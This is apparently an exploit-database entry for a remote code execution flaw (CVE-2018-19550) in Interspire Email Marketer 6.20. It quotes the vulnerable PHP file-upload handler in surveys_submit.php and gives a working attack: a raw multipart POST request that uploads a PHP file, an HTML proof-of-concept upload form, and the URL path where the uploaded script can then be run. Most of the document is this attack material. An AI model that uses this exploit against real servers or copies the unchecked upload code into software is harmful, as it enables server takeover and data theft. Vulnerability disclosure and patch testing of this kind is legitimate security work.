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# Exploit Title: Interspire Email Marketer 6.20 - Remote Code Execution # Date: May 2019 # Exploit Author: Numan Türle # Vendor Homepage: https://www.interspire.com # Software Link: https://www.interspire.com/emailmarketer # Version: 6.20< # Tested on: windows # CVE : CVE-2018-19550 # https://medium.com/@numanturle/interspire-email-marketer-6-20-exp-remote-code-execution-via-uplaod-files-27ef002ad813 surveys_submit.php if (isset($_FILES['widget']['name'])) { $files = $_FILES['widget']['name']; foreach ($files as $widgetId => $widget) { foreach ($widget as $widgetKey => $fields) { foreach ($fields as $fieldId => $field) { // gather file information $name= $_FILES['widget']['name'][$widgetId]['field'][$fieldId]['value']; $type= $_FILES['widget']['type'][$widgetId]['field'][$fieldId]['value']; $tmpName = $_FILES['widget']['tmp_name'][$widgetId]['field'][$fieldId]['value']; $error = $_FILES['widget']['error'][$widgetId]['field'][$fieldId]['value']; $size= $_FILES['widget']['size'][$widgetId]['field'][$fieldId]['value']; // if the upload was successful to the temporary folder, move it if ($error == UPLOAD_ERR_OK) { $tempdir = TEMP_DIRECTORY; $upBaseDir = $tempdir . DIRECTORY_SEPARATOR . 'surveys'; $upSurveyDir = $upBaseDir . DIRECTORY_SEPARATOR . $formId; $upDir = $upSurveyDir . DIRECTORY_SEPARATOR . $response->GetId(); // if the base upload directory doesn't exist create it if (!is_dir($upBaseDir)) { mkdir($upBaseDir, 0755); } if (!is_dir($upSurveyDir)) { mkdir($upSurveyDir, 0755); } // if the upload directory doesn't exist create it if (!is_dir($upDir)) { mkdir($upDir, 0755); } // upload the file move_uploaded_file($tmpName, $upDir . DIRECTORY_SEPARATOR . $name); } } } } } input file name : widget[0][field][][value] submit : surveys_submit.php?formId=1337 POST /iem/surveys_submit.php?formId=1337 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF2dckZgrcE306kH2 Content-Length: 340 ------WebKitFormBoundaryF2dckZgrcE306kH2 Content-Disposition: form-data; name="widget[0][field][][value]"; filename="info.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryF2dckZgrcE306kH2 Content-Disposition: form-data; name="submit" Submit ------WebKitFormBoundaryF2dckZgrcE306kH2- #### POC <!DOCTYPE HTML> <html lang="en-US"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form action="http://WEBSITE/surveys_submit.php?formId=1337" method="post" enctype="multipart/form-data"> <input type="file" name="widget[0][field][][value]"> <input type="submit" value="submit" name="submit"> </form> </body> </html> URL : http://{{IEM LINK}}/admin/temp/surveys/1337/{{FUZZING NUMBER}}/{{FILENAME}} |
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